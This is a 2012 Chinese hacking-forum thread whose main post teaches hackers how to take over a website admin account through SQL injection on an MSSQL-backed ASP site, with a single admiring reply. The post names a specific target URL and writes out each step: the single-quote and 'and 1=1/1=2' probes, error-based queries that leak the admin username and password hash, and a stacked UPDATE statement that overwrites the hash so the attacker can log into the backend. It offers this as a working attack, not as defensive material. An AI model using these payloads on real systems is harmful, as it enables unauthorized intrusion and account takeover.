找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2674|回复: 1
打印 上一主题 下一主题

SQL注入直接修改管理员密码的MD5值

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:55:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
经常拿站的黑阔们一定经常碰到,某个网站有注入,管理员帐号和密码多暴出来了。
; m7 ^' U; n; Q" U可是密码是MD5加密的。而且在线的MD5解密不了。你说咋办?直接修改管理员密码的MD5值。然后进后台!(当然是有条件的。MSSQL)
+ b) m3 ^" b9 F, b测试如下:
& G" |3 c: z/ ~7 Mhttp://www.tmdsb.com/news.asp?id=121
0 _/ [7 v2 f! ^- P在地址后输入单引号,显示
8 f' O! c* Q! FMicrosoft OLE DB Provider for SQL Server 错误 ’80040e14’8 h& h* f' Y8 W- L1 t$ w8 B
字符串 ’’’ 之前有未闭合的引号
: ^" w9 m* \/ C& J$ u9 c" m! L+ i/news/tmdws.asp,行63" Z" v. B0 h! a
说明没有过滤单引号且数据库是MSSQL.0 Q: o% X$ e$ k, @8 l% ]  H# ~4 j- I, L
and 1=1正常。and 1=2出错。肯定存在注入# v( I) G$ H- ~4 B8 q9 `5 T; O
接着输入; W' s% \: c/ p- _+ p( H$ c
http://www.tmdsb.com/news.asp?id=1 or admin_user in (select id from admin)
  N' P( @" Q: f4 u得到帐号为:admin
9 }2 B& S$ `7 ]http://www.tmdsb.com/news.asp?id=121 or admin_password in (select id from admin)
; T& |% S6 s# T0 ^1 F; W得到密码为:a4716077c2ba075c
/ T# l% h0 l0 w8 I: C接下来我们就可以改密码了。但我们先前要知道我们加密的字符:e8dc763194f29433/ v. M$ `: G( u( y: t9 g2 ~  S
命令如下 :( b( f, M/ @& g" N; H+ ]; o' e
;update shop_admin set password=’e8dc763194f29433’ where password=’a4716077c2ba075c’–
0 @# j+ o# C5 |; v; k0 I这句的意思就是用e8dc763194f29433替换a4716077c2ba075c,以达到修改密码的目的
回复

使用道具 举报

沙发
发表于 2012-9-14 16:22:41 | 只看该作者
没法说  一个字牛
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表